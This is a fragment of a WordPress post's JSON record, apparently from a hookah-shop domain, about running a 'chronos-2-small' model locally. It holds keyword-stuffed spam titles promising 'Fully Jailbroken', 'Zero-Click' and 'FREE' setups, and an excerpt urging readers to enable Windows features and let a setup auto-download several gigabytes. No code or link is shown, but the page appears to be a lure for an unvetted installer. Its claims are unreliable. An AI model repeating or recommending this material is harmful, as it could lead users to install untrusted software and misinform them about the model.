transformer encoder enable efficient capture of long-range dependencies while maintaining a small memory footprint.<\/p>\n<ol>\n<li>Setup tool linking local models directly into open-source smart home system environments<\/li>\n<li>How to Launch chronos-2-small Locally via Ollama 2 2026\/2027 Tutorial FREE<\/li>\n<li>Script downloading optimized tokenizers designed specifically for complex localized languages<\/li>\n<li>chronos-2-small FREE<\/li>\n<li>Setup tool updating local miniconda environments for running PyTorch 2.6+ scripts<\/li>\n<li>Zero-Click Run chronos-2-small Fully Jailbroken Offline Setup FREE<\/li>\n<li>Installer deploying local speech synthesis models via XTTS server<\/li>\n<li>How to Autostart chronos-2-small Locally via Ollama 2 No-Internet Version No-Code Guide<\/li>\n<li>Script automating download of Stable Diffusion 3.5 medium checkpoints<\/li>\n<li>Quick Run chronos-2-small on Copilot+ PC<\/li>\n<\/ol>","protected":false},"excerpt":{"rendered":"<p>For the fastest local setup of this model, enabling Windows Features is best. Kindly follow the on-screen instructions below. The setup auto-downloads all needed files (several GBs). To guarantee smooth performance, the process auto-selects the best options. \ud83d\udd10 Hash sum: 1f302e25047528f4b2a8bd40f84ab944 | \ud83d\udcc5 Last update: 2026-07-04 Verify CPU: AVX2\/AVX-512 instruction set required for llama.cpp RAM: [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"pagelayer_contact_templates":[],"_pagelayer_content":"","inline_featured_image":false,"footnotes":""},"categories":[43],"tags":[],"class_list":["post-855","post","type-post","status-publish","format-standard","hentry","category-gguf"],"_links":{"self":[{"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/posts\/855","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/comments?post=855"}],"version-history":[{"count":1,"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/posts\/855\/revisions"}],"predecessor-version":[{"id":856,"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/posts\/855\/revisions\/856"}],"wp:attachment":[{"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/media?parent=855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/categories?post=855"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/2x2hookah.com\/en\/wp-json\/wp\/v2\/tags?post=855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}